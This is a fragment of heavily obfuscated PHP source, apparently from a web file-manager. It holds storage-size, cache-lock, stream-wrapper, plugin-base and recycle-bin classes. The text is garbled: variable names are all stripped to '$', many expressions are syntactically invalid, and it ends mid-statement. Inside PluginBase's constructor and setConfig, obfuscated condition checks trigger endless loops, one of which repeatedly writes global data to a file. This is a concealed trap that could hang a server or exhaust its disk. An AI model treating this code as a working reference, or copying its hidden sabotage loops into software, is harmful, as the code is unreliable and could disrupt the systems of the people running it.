$this->sourceCacheClear($); $ = $this->sourceInfo($); $ = array($[616] => 1, $[619] => $[$[540]], $[622] => array($[582], $[$[555]] . $ . $[583])); $ = $[2214]; $ = $this->field($)->where($)->select(); $[$[455]] = 0; $ = $this->field($)->where($)->select(); if (!$) { return; } $[] = $; $ = array_to_keyvalue($, $[183]); foreach ($ as $ => $) { $[$][$[2215]] = $[$][$[78]]; $[$][$[78]] = 0; } foreach ($ as $) { $ = $[$[182]] . $[12]; if (!isset($[$])) { continue; } if ($[$[475]] == $[$][$[475]]) { $[$][$[78]] += $[$[78]]; } } foreach ($ as $) { $ = $this->parentLevelArray($[$[555]]); foreach ($ as $) { $ = $ . $[12]; if (!isset($[$])) { continue; } if ($[$[475]] == $[$][$[475]]) { $[$][$[78]] += $[$[78]]; } } } $ = array(); foreach ($ as $) { if ($[$[78]] == $[$[2215]]) { continue; } $[] = array($[183], $[$[183]], $[78], $[$[78]]); } $this->saveAll($); } public function userSpaceReset($ = false) { $ =& $_SERVER[]; $ = $this->where(array($[180] => self::TYPE_USER, $[540] => $, $[455] => 0))->sum($[78]); $ = !$ || $ <= 0 ? 0 : $; Model($[548])->userEdit($, array($[1893] => $)); } public function targetSpaceUpdate($, $) { $ =& $_SERVER[]; if (!$) { return; } if (!in_array($, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ = $this->targetSpaceSize($, $); if ($ == self::TYPE_USER) { Model($[548])->userEdit($, array($[1893] => $)); } else { if ($ == self::TYPE_GROUP) { Model($[556])->groupEdit($, array($[1893] => $)); } } } public function targetSpaceSize($, $) { $ =& $_SERVER[]; $ = 0; $ = $this->targetSourceRoot($, $, !0); foreach ($ as $) { if (!$) { continue; } $ += floatval($[$[78]]); $ = array($[622] => array($[582], $[565] . $[$[183]] . $[583])); $ = Model($[473])->field($[461])->where($)->select(); $ = array_to_keyvalue($, $[12], $[183]); $ = array_unique(array_filter($)); if ($) { $ = array($[461] => array($[462], $)); $ += floatval($this->where($)->sum($[78])); } } $ = !$ || $ <= 0 ? 0 : $; return $; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_USER); } public function groupFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_GROUP); } private function fileTypeProfile($, $) { $ =& $_SERVER[]; $ = $[2216] . $ . $[11] . $; $ = Cache::get($); if ($) { return $; } $ = array($[616] => 0); if ($ != !1) { $[$[540]] = $; $[$[180]] = $; } $ = array(); $[$[2217]] = array($[2218] => LNG($[2217]), $[2219] => $this->where($)->count(), $[587] => $this->where($)->sum($[78])); $ = KodIO::fileTypeList(); foreach ($ as $ => $) { $[$[456]] = $this->fileTypeWhere($); $[$] = array($[2218] => $[$[32]], $[2219] => $this->where($)->count(), $[587] => $this->where($)->sum($[78])); } Cache::set($, $, 1200); return $; } public function fileNameExist($, $) { $ =& $_SERVER[]; $ = $this->field($[2220])->where(array($[182] => $, $[32] => $, $[475] => 0))->find(); return is_array($) ? $[$[183]] : !1; } public function childList($) { $ =& $_SERVER[]; $ = $[2193] . $; if (isset(self::$cacheChildList[$])) { return self::$cacheChildList[$]; } $ = array($[182] => intval($), $[475] => 0); $ = $this->where($)->select(); $ = $ ? $ : array(); self::$cacheChildList[$] = $; foreach ($ as $) { $ = $[503] . $[$[183]]; self::$cacheSourceInfo[$] = $; } return $; } public function fileNameAuto($, $, $ = REPEAT_RENAME, $ = false) { $ =& $_SERVER[]; $ = get_path_ext($); $ = $ ? basename($, $[10] . $) . $[2221] . $ : $ . $[430]; $ = array($[182] => $, $[475] => 0, $[32] => array($[429], $)); $ = $this->field($[32])->where($)->select(); $ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($, $, $, $); } public function fileNameAutoGet($, $, $, $) { $ =& $_SERVER[]; if ($ == REPEAT_REPLACE || !$ || !in_array_not_case($, $) || $ && $ != REPEAT_RENAME_FOLDER) { return $; } if ($ == REPEAT_SKIP) { return !1; } $ = $[10] . get_path_ext($); $ = $ == $[10] || $ ? $[12] : $; for ($ = 1; $ <= count($) + 1; $++) { $ = substr($, 0, strlen($) - strlen($)); $ = $ . "\x28{$}\51{$}"; if (!in_array_not_case($, $)) { return $; } } } } goto C; F: class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } $ = $GLOBALS[$[6]][$[395]]; self::$timeout = $[$[886]] ? $[$[886]] : 10; $ = _get($GLOBALS[$[6]], $[887]); $ = $[$[872]] ? $[$[872]] : $[216]; if ($ == $[21] && $ == $[13]) { $ = $[216]; } switch ($) { case $[875]: self::$handle = new CacheLockRedis(); break; case $[876]: self::$handle = new CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[216]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[888], $[889]); } return self::$handle; } private static function key($) { return $_SERVER[][890] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ = '') { self::$errorMsg = $; } public static function lockGlobal($, $) { return self::lock($, $, !0); } public static function lock($, $ = false, $ = false) { $ =& $_SERVER[]; $ = self::init(); $ = self::key($); $ = $ ? $ : self::$timeout; $ = timeFloat(); $ = $->lock($, $); $ = timeFloat(); if (!$) { $ = "\x6c\x6f\x63\x6b\40\145\x72\x72\157\x72\x3b\153\x65\171\x3d{$}\73\164\x69\x6d\145\x3d{$}\73" . self::$errorMsg . $[73] . get_caller_msg(); $ = LNG($[891]) . "\50{$}\163\x29\56" . LNG($[892]); $ .= $[893]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ = $ . $[894] . self::$errorMsg; } write_log($[895] . sprintf($[896], timeFloat() - $) . $[897] . $ . $[898] . error_get_last(), $[889]); show_json($, !1); } if (!$) { self::$lockItem[$] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - $, 3); write_log($[899] . $ . $[900] . $, $[889]); } return $; } public static function lockGet($) { $ = self::key($); if (self::$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($) { $ =& $_SERVER[]; $ = self::key($); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[901] . $, $[889]); } return; } public static function unlockRuntime() { $ =& $_SERVER[]; $ = self::init(); $ = !1; foreach (self::$lockItem as $ => $) { if (!$) { continue; } $->unlock($); if (!$) { $ = !0; write_log($[902] . $ . $[73] . get_caller_msg(), $[889]); continue; } write_log($[902] . $, $[889]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[903] . $ . $[904] . ACTION, $[889]); } } public static function fileLock($) { $ =& $_SERVER[]; if (!$GLOBALS[$[905]]) { $GLOBALS[$[905]] = array(); } $GLOBALS[$[905]][$] = !1; $ = fopen(DATA_PATH . $ . $[906], $[907]); if (!$) { return !1; } $GLOBALS[$[905]][$] = $; if (flock($, LOCK_EX)) { return !0; } self::unlock($); show_json($[908], !1); return !1; } public static function fileUnlock($) { $ =& $_SERVER[]; $ = $GLOBALS[$[905]][$]; if (!$) { return; } $GLOBALS[$[905]][$] = !1; flock($, LOCK_UN); fclose($); } public static function fileUnlockAll() { $ =& $_SERVER[]; if (!$GLOBALS[$[905]]) { return; } foreach ($GLOBALS[$[905]] as $ => $) { if (!$) { continue; } $GLOBALS[$[905]][$] = !1; flock($, LOCK_UN); fclose($); } $GLOBALS[$[905]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[395]]; self::$cachePath = $[$[216]][$[86]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($, $ = 0) { $ =& $_SERVER[]; $ = microtime(!0); $ = $ + $ + 0.0001; $ = rtrim(self::$cachePath, $[8]) . $[909] . md5($) . $[906]; if (file_exists($) && filemtime($) && filemtime($) < time() - 10) { @unlink($); } do { if (file_exists($)) { cacheLockWait(); continue; } $ = fopen($, $[910]); if (!$) { return !1; } $ = flock($, LOCK_EX | LOCK_NB); self::$caches[$] = array($[911] => $, $[216] => $); fwrite($, $); clearstatcache(); if ($ && $) { return !0; } cacheLockWait(); } while (microtime(!0) < $); $this->unlock($); return !1; } public function lockGet($) { $ =& $_SERVER[]; $ = rtrim(self::$cachePath, $[8]) . $[909] . md5($) . $[906]; return file_exists($); } public function unlock($) { $ =& $_SERVER[]; $ = self::$caches[$]; if (!$) { return; } @flock($[$[911]], LOCK_UN); @fclose($[$[911]]); @unlink($[$[216]]); unset(self::$caches[$]); } } goto D; a: class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $ = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[][86]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $ = $this->fileSubstr($this->pose, $); $this->pose += strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($, $) { $ =& $_SERVER[]; if ($ == SEEK_SET) { $this->pose = $; } else { if ($ == SEEK_CUR) { $this->pose += $; } else { if ($ == SEEK_END) { $this->pose = $this->info[$[78]] + intval($); } } } if ($ < 0) { $this->pose = $this->info[$[78]] + $; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[][78]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($, $) { $ =& $_SERVER[]; $ = $this->info($); return array($[1542] => 0, $[1543] => 0, $[16] => 32768 + 511, $[1544] => 0, $[1545] => 0, $[1546] => 0, $[1547] => 0, $[78] => $[$[78]], $[1548] => $[$[1414]], $[1504] => $[$[87]], $[1503] => $[$[217]], $[1549] => 0, $[1550] => 0); } static $fileInfo = array(); public function info($) { $ = $_SERVER[][1551]; if (isset(self::$fileInfo[$])) { return self::$fileInfo[$]; } if (substr($, 0, strlen($)) != $) { return !1; } self::$fileInfo[$] = IO::info(substr($, strlen($))); return self::$fileInfo[$]; } public static function read($, $, $) { if (!isset(self::$_fopenCache[$])) { $ = new StreamWrapperIO(); $->stream_open($); self::$_fopenCache[$] = $; } $ = self::$_fopenCache[$]; return $->fileSubstr($, $); } public static function _read($, $, $) { $ =& $_SERVER[]; $ = fopen($, $[1418]); if (!$) { return $[12]; } $ = 8192; fseek($, $, SEEK_SET); $ = $[12]; $ = 0; while ($ < $) { $ = min($, $ - $); $ .= fread($, $); $ += $; } fclose($); return $; } public function fileSubstr($, $) { $ =& $_SERVER[]; $ = $this->info[$[78]]; $ = $; $ = $; if ($ < 0) { $ = $ + $; } if ($ === !1) { $ = $ - $; } if ($ + $ > $) { $ = $ - $; } if ($ <= 0) { return $[12]; } if ($ < 0 || $ >= $ || $ <= 0 || $ > 1024 * 1024 * 10) { throw new Exception("\151\157\106\151\154\x65\x52\145\141\144\x20\145\162\x72\157\x72\41\40\x73\x74\141\x72\164\75{$}\x3b\x6c\x65\156\x67\164\x68\75{$}\73\40\163\x69\x7a\145\x3d{$}\73"); } $ = 64 * 1024; $ =& self::$_chunkBuffer[$this->path]; if (!$) { $ = array(); } $ = 0; $ = 0; $ = $[12]; foreach ($ as $ => $) { $ = intval($); $ = $ + strlen($); if ($ >= $) { continue; } if ($ >= $ && $ + $ <= $) { return substr($, $ - $, $); } break; } if (count($) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($[1552], $[1553] . count($) . "\73\x73\x74\x61\162\164\x3d{$}\54\154\x65\x6e\147\x74\150\75{$}\73\x70\x6f\x73\x65\72{$}\176{$}"); throw new Exception($[1554]); } $ = intval($ / $) * $; $ = ceil(($ + $) / $) * $ - $; $ = IO::fileSubstr($this->path, $, $); $[$ . $[12]] = $; ksort($); $ = substr($, $ - $, $); return $; } private function log($, $) { $ =& $_SERVER[]; $ = timeFloat() - $this->timeStart; write_log(sprintf($[1555], $, $this->info[$[32]], $, $), $[1233]); } } class Message { function __construct() { } public function send($ = '', $ = array(), $ = "\x74\145\x78\164") { $ =& $_SERVER[]; $ = array($[33] => $[1556], $[799] => $); if (in_array($, array($[1556], $[1557]))) { $[$[33]] = $; } $ = array($[549] => isset($[$[549]]) ? $[$[549]] : $[12], $[632] => isset($[$[632]]) ? $[$[632]] : $[12]); if (empty($) || empty($[$[549]]) && empty($[$[632]])) { return !1; } $ = array($[1497] => $, $[1558] => $); Hook::trigger($[1559], $); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ =& $_SERVER[]; if (!isset($_SERVER[$[922]]) || !isset($_SERVER[$[923]])) { $ = $[924]; $ = $[925]; $ = $_SERVER[$[926]] . $[927]; $ = $($); $ = explode($[248], $); if (count($) < $[671]) { $ = $[928]; $(); } $ = $[929]; $($_SERVER[$[930]]); $ = 1; for ($ = $; $ > 0; $++) { $ = json_encode($GLOBALS[$[462]]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($[1560]); $this->pluginName = str_replace($[1560], $[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $[8]; $this->pluginApi = appHostGet() . $[1561] . $this->pluginName . $[8]; $this->pluginHost = $config[$[1562]] . $this->pluginName . $[8]; $this->pluginHostDefault = $config[$[1562]] . $this->pluginName . $[8]; $ = $config[$[1563]]; if ($ && strpos($[50] . $ . $[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$[1564]] . $this->pluginName . $[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[][1565]); } protected function assign($, $ = false) { if (is_array($)) { $this->values = array_merge($this->values, $); } else { $this->values[$] = $; } } protected function display($) { extract($this->values); require $; } final function hookRegist($) { $this->modelPlugin->appRegist($this->pluginName, $); } final function appIcon() { $ =& $_SERVER[]; $ = $this->appPackage(); $ = $[12]; if (isset($[$[460]])) { if (isset($[$[460]][$[1566]])) { $ = $[1567] . $[$[460]][$[1566]] . $[1568]; } else { if ($[$[460]][$[1569]]) { $ = $[1570] . $[$[460]][$[1569]] . $[1571]; } } } return $; } final function fileCanView($) { $ =& $_SERVER[]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $ = $[1572] . rawurlencode(this_url()); show_tips(LNG($[1573]) . $[1574] . $ . $[1575] . LNG($[1576]) . $[1577], !1); } if (!Action($[1578])->authCan($[1579])) { show_tips(LNG($[1580]) . $[1581], !1); } ActionCall($[1582], $); } final function isShare($) { $ = KodIO::parse($); return $[$_SERVER[][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { return $; } if (!$this->isShare($)) { $ = $this->filePath($, !1); } return Action($_SERVER[][1225])->linkOut($); } public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[][1225])->link($); } final function filePath($, $ = true, $ = false) { $ =& $_SERVER[]; $ = $this->filePathGet($, $); if (!$this->fileInfo) { show_tips(LNG($[107]), !1); } if ($ && isset($this->fileInfo[$[511]]) && $this->fileInfo[$[511]]) { $ = Model($[514])->fileInfo($this->fileInfo[$[511]]); if (!$ || !IO::exist($[$[86]])) { show_tips(LNG($[107]) . $[1583]); } } Hook::trigger($[1584], $); return $; } final function filePathGet($, $ = true) { $ =& $_SERVER[]; if ($ = $this->checkSharePath($, $)) { return $; } $this->fileCanView($); if (request_url_safe($)) { $ = parse_url_query($); if (isset($[$[1585]]) && isset($[$[220]])) { $ = Mcrypt::decode($[$[220]], Model($[815])->get($[816])); if ($) { $this->fileInfo = IO::info($); $this->fileInfo[$[1586]] = $; $this->cachePath = $this->pluginCachePath($[12], $); return $; } } $ = $this->_cacheHttpFile($, $); $this->fileInfo = IO::info($); } else { $this->fileInfo = IO::info($); $this->cachePath = $this->pluginCachePath($[12], $); } return $; } final function _cacheHttpFile($, $ = true) { $ =& $_SERVER[]; $ = parse_url_query($); $ = get_path_ext($); if (isset($[$[32]]) && $[$[32]]) { $ = get_path_ext($[$[32]]); } $ = hash_path($) . $[10] . $; $this->cachePath = $this->pluginCachePath($ ? $ : $[12]); $ = IO::fileNameExist($this->cachePath, $); if ($) { return KodIO::make($); } $ = rtrim($this->cachePath, $[8]) . $[8] . $; return $this->pluginCacheFileSet($, file_get_contents_nossl($)); } final function checkSharePath($, $ = true) { $ =& $_SERVER[]; if (!$this->isShare($)) { return !1; } $ = Action($[1225])->sharePathInfo($); if (!is_array($) || !isset($[$[86]])) { show_json(LNG($[1587]), !1); } $this->fileInfo = $; $this->cachePath = $this->pluginCachePath(!1, $); return $[$[86]]; } final function pluginCachePath($ = '', $ = false) { $ =& $_SERVER[]; if ($ && is_array($this->fileInfo)) { $ = kodIO::hashPath($this->fileInfo); } $ = rtrim(IO_PATH_SYSTEM_TEMP . $[1588] . $this->pluginName . $[8] . $, $[8]); $ = IO::infoFullSimple($); $ = $ && is_array($) ? $[$[86]] : $[12]; if (!$) { $ = IO::mkdir($); } return $; } final function pluginCacheFileSet($, $ = '') { $ =& $_SERVER[]; $ = IO::infoFullSimple($); if (!$) { return IO::mkfile($, $, REPEAT_REPLACE); } IO::setContent($[$[86]], $); return $[$[86]]; } final function pluginLocalFile($ = '') { $ =& $_SERVER[]; $ = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($)) { mk_dir($); } if (!$) { return $; } $ = IO::info($); $ = $[1589] . KodIO::hashPath($) . $[10] . $[$[177]]; if (!checkExtSafe($)) { $ = $ . $[1257]; } $ = $ . $; if (@file_exists($)) { return $; } return IO::copy($, $, 0, $); } final function appPackage() { $ =& $_SERVER[]; if ($this->packageData) { return $this->packageData; } $ = $this->parseFile($this->pluginPath . $[1590]); $this->parseLang($); $ = json_decode_force($); if (!$) { return array(); } $ = Hook::trigger($[1591], $); if ($ && is_array($)) { $ = $; } $this->packageData = $; return $; } public function packageInfoGet($) { $ = $this->appPackage(); return array_get_value($, $); } public function packageVersion() { return $this->packageInfoGet($_SERVER[][1592]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[][1593]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[][1594]); } public function echoJsAssign($, $) { $this->echoJsAssignArr[$] = $; } private function parseFile($) { $ =& $_SERVER[]; $ = file_get_contents_nossl($); $ = array($[1595], $[1596], $[1597], $[1598], $[1599], $[1600], $[1601]); $ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[91]][$[1602]]); foreach ($this->echoJsAssignArr as $ => $) { $[] = $[1603] . $ . $[1604]; $[] = is_array($) || is_object($) ? rawurlencode(json_encode($)) : $; } if (strstr($, $[1605])) { $ = rawurlencode(json_encode($this->pluginLangArr)); $ = str_replace($[1605], $, $); } if (strstr($, $[1606])) { $ = $ = rawurlencode(json_encode($this->getConfig())); $ = str_replace($[1606], $, $); } $ = str_replace($, $, $); return $; } private function parseLang(&$) { $ =& $_SERVER[]; $ = $[1607]; if (!strstr($, $)) { return; } preg_match_all($[1608], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = array(); $ = array(); foreach ($[0] as $) { $ = substr($, strlen($), -4); $ = LNG($); $[] = $; $[] = str_replace(array($[248], $[1129], $[388], $[120]), array($[53], $[53], $[12], $[1609]), $); } $ = str_replace($, $, $); } private function parseConfig(&$) { $ =& $_SERVER[]; $ = $[1610]; if (!strstr($, $)) { return; } preg_match_all($[1611], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->getConfig(); $ = array(); $ = array(); foreach ($[0] as $) { $ = substr($, strlen($), -2); $[] = $; $[] = _get($, $); } $ = str_replace($, $, $); } private function parsePackage(&$) { $ =& $_SERVER[]; $ = $[1612]; if (!strstr($, $)) { return; } preg_match_all($[1613], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->appPackage(); $ = array(); $ = array(); foreach ($[0] as $) { $ = substr($, strlen($), -2); $[] = $; $[] = _get($, $); } $ = str_replace($, $, $); } final function echoFile($, $ = false) { $ =& $_SERVER[]; $ = $this->pluginPath . $; if (ACT == $[1614]) { echo $[1615] . $this->pluginName . $[8] . $ . $[1616]; if (!file_exists($)) { echo $[1617]; return; } } $ = $this->parseFile($); $this->parseLang($); $this->parseConfig($); $this->parsePackage($); if (is_array($)) { $ = str_replace(array_keys($), array_values($), $); } echo $[248] . $; } private function checkVersion() { $ =& $_SERVER[]; $ = $this->appPackage(); $ = $this->getConfig(); if ($[$[1618]] == $[$[1592]]) { return; } $this->regist(); $this->setConfig(array($[1618] => $[$[1592]])); } final function initLang() { $ =& $_SERVER[]; $ = $[1619]; $ = $this->pluginPath . $[1620]; $ = I18n::getType(); $ = array(); if (file_exists($ . $ . $[884])) { $ = (include $ . $ . $[884]); } else { if ($ == $[1621] && !file_exists($ . $ . $[884]) && file_exists($ . $[1622])) { $ = (include $ . $[1622]); } else { if (file_exists($ . $ . $[884])) { $ = (include $ . $ . $[884]); } } } if (!is_array($)) { return array(); } if (@count($) > 0) { I18n::set($); } return $; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($) { $ =& $_SERVER[]; $ = $_SERVER[$[926]] . $[927]; $ = $[931]; if ($_SERVER[$[922]] != $($)) { $ = $[924]; $ = $[925]; $ = $_SERVER[$[926]] . $[927]; $ = $($); $ = explode($[248], $); if (count($) < $[671]) { $ = $[928]; $(); } $ = $[929]; $($_SERVER[$[930]]); $ = $[924]; $(); $ = $[1623]; $ = json_encode($GLOBALS[$[1624]]); $ = 1; for ($ = $; $ > 0; $++) { $(DATA_PATH . $, $); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $); } public function onSetConfig($) { } public function onGetConfig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($) { if ($ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "\x70\154\x75\x67\151\156\101\165\164\150") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { return !1; } $ = $this->getConfig(); if (!$[$]) { return !1; } return ActionCall($_SERVER[][1625], $[$]); } public function url($, $ = '', $ = true) { $ =& $_SERVER[]; $ = $this->getConfig(); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $ = $this->packageVersion(); $ = $ . $[432] . $; if (substr($, 0, 4) == $[151] || substr($, 0, 2) == $[1405]) { $ = $ . $[1626] . $; } else { if ($ == $[12]) { $ = $this->pluginHost . $ . $[1626] . $; } else { if ($ === $[77]) { $ = $this->pluginHost . $; } else { if ($ == $[1627]) { $ = STATIC_PATH . $ . $[1626] . $; } else { if ($ == $[1628]) { $ = APP_HOST . $[1629] . $ . $[1626] . $; } else { if (isset($[$])) { $ = $[$] . $ . $[1626] . $; } } } } } } if (!$) { return $; } echo $; } public function link($ = false, $ = '') { $ =& $_SERVER[]; if (!$) { $this->link($[1630], $[1628]); $this->link($[1631], $[1627]); $this->link($[1632], $[1627]); $this->link($[1633], $[1627]); $this->link($[1634], $[1627]); return; } $ = $this->url($, $, !1); if (substr($, -3) == $[1635]) { echo $[1636] . $ . $[1637] . $[248]; } else { if (substr($, -4) == $[1638]) { echo $[1639] . $ . $[1640] . $[248]; } } } } goto e; C: class SourceRecycleModel extends ModelBase { protected $tableName = "\151\157\137\x73\157\165\x72\143\145\137\162\x65\x63\x79\143\x6c\x65"; protected $dataAuto = array(array("\143\x72\x65\x61\x74\145\124\x69\x6d\x65", "\x74\151\155\x65", "\x69\x6e\163\145\x72\164", "\x66\165\x6e\143\164\x69\157\x6e")); public function listData($ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = $this->where(array($[1696] => $))->select(); return array_to_keyvalue($, $[12], $[183]); } public function moveToRecycle($) { $ =& $_SERVER[]; $ = Model($[1384]); $ = $->sourceInfo($); if (!$ || $[$[475]] == $[90]) { return; } $ = array($[461] => $, $[1696] => USER_ID, $[618] => $[$[180]], $[619] => $[$[540]], $[622] => $[$[555]]); $this->add($); $this->recycleMove($, 1); if ($[$[455]] == $[90]) { $ = array($[622] => array($[582], $[$[555]] . $ . $[583])); $->where($)->setField($[475], 1); } } public function clear() { $this->remove(!1); } public function remove($ = false, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = Model($[1384]); $ = $this->listData($); $ = $ === !1 ? !1 : $; $ = array(); foreach ($ as $) { if ($ != !1 && !in_array($, $)) { continue; } $ = $->sourceInfo($); $->remove($, !1); $ = $[$[180]] . $[11] . $[$[540]]; $[$] = array($[618] => $[$[180]], $[540] => $[$[540]]); $this->where(array($[183] => $))->delete(); } foreach ($ as $) { $->targetSpaceUpdate($[$[180]], $[$[540]]); } } public function restore($ = false) { $ = $this->listData(); $this->_restoreSource($, $); } public function removeUserAll($) { $this->remove(!1, $); } public function restoreItem($) { $this->_restoreSource(array($), array($)); } private function _restoreSource($, $) { $ =& $_SERVER[]; $ = Model($[1384]); $ = $ == !1 ? !1 : $; if (!$) { return !0; } $ = array(); foreach ($ as $) { if ($ != !1 && !in_array($, $)) { continue; } $ = $->sourceInfo($); $ = $->sourceInfo($[$[182]]); if ($[$[475]] == $[90]) { continue; } $->lockMoveStart($); $this->recycleMove($, 0); if ($[$[455]] == $[90]) { $ = array($[622] => array($[582], $[$[555]] . $ . $[583])); $->where($)->setField($[475], 0); $this->restoreFolderChildren($, $); } $this->where(array($[183] => $))->delete(); $->folderSizeReset($[$[182]]); $[] = $[$[182]]; if ($[$[455]] == $[90]) { $[] = $; } $->lockMoveEnd($); } $->updateModifyTime($); } private function restoreFolderChildren($, $) { $ =& $_SERVER[]; $ = Model($[1384]); $ = array($[183] => array($[7], array())); foreach ($ as $) { if ($ == $) { continue; } if (!$->isParentOf($, $)) { continue; } $ = $->sourceInfo($); if ($[$[455]] == $[90]) { $[] = array($[622] => array($[582], $[$[555]] . $ . $[583])); } else { $[$[183]][1][] = $; } } if (!$[$[183]][1]) { unset($[$[183]]); } if (!$) { return; } if (is_array($[$[183]]) && is_array($[$[183]][1])) { $[$[183]][1] = array_unique($[$[183]][1]); } $[$[1051]] = $[2002]; $->where($)->setField($[475], 1); } private function recycleMove($, $ = 1) { $ =& $_SERVER[]; $ = Model($[1384]); $ = Model($[2222]); $ = array($[183] => $); if ($) { $->where($)->setField($[475], 1); $->eventRecycle($, $[2223]); } else { $ = $->where($)->find(); $ = $[$[455]] == $[90]; $ = $->fileNameAuto($[$[182]], $[$[32]], REPEAT_RENAME_FOLDER, $); if ($ != $[$[32]]) { $->rename($, $); } $->where($)->setField($[475], 0); $->eventRecycle($, $[2224]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\123\x79\163\x74\x65\x6d\56\x73\157\x75\x72\x63\145\x53\145\x63\162\x65\x74\114\x69\x73\164"; public $field = array("\163\x6f\x75\x72\143\145\x49\104", "\x74\171\160\x65\111\104", "\x63\x72\145\141\164\145\x55\163\145\x72"); } class StorageModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\145\155\56\163\x74\x6f\x72\x61\147\x65\114\151\x73\x74"; public $field = array("\156\141\x6d\145", "\163\x69\x7a\x65\x4d\x61\170", "\x73\171\163\x74\x65\155", "\144\145\146\x61\165\154\164", "\x64\x72\151\x76\x65\162", "\x63\157\x6e\146\151\147"); public function listData($ = false, $ = "\155\157\x64\x69\x66\x79\124\151\155\x65", $ = false) { $ =& $_SERVER[]; $ = parent::listData($, $, $); if ($) { return $; } $ = $this->ioSizeUseGet(array_to_keyvalue($, $[12], $[445])); foreach ($ as $ => $) { unset($[$][$[6]]); $[$][$[1893]] = isset($[$[$[445]]]) ? $[$[$[445]]] : 0; } return $; } public function ioSizeUseGet($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = $[2225] . implode($[50], $); $ = Cache::get($); if ($) { return $; } $ = array($[862] => $[445], $[2226] => $[78]); $ = array($[862] => array($[7], $)); $ = Model($[834])->field($)->where($)->group($[862])->select(); $ = array_to_keyvalue($, $[445], $[78]); Cache::set($, $, 600); return $; } public function getConfig($) { $ = parent::listData($); return json_decode($[$_SERVER[][6]], !0); } public function update($, $) { $ =& $_SERVER[]; $ = $[$[32]]; $ = array_to_keyvalue(parent::listData(), $[32]); if (isset($[$]) && $[$][$[445]] != $) { return !1; } $this->checkPwd($, $); if (isset($[$[2227]]) && $[$[2227]] == $[90]) { $this->checkConfig($); } unset($[$[2227]]); $ = parent::update($, $); if ($ && $[$[37]]) { $ = 0; foreach ($ as $) { if ($[$[37]] && $[$[445]] != $) { $ = $[$[445]]; parent::update($[$[445]], array($[37] => 0)); } } $this->updateBackup($, $); } return $; } public function add($) { $ =& $_SERVER[]; $ = array_to_keyvalue(parent::listData(), $[32]); if (isset($[$[$[32]]])) { return !1; } $this->checkConfig($); $ = parent::insert($); if 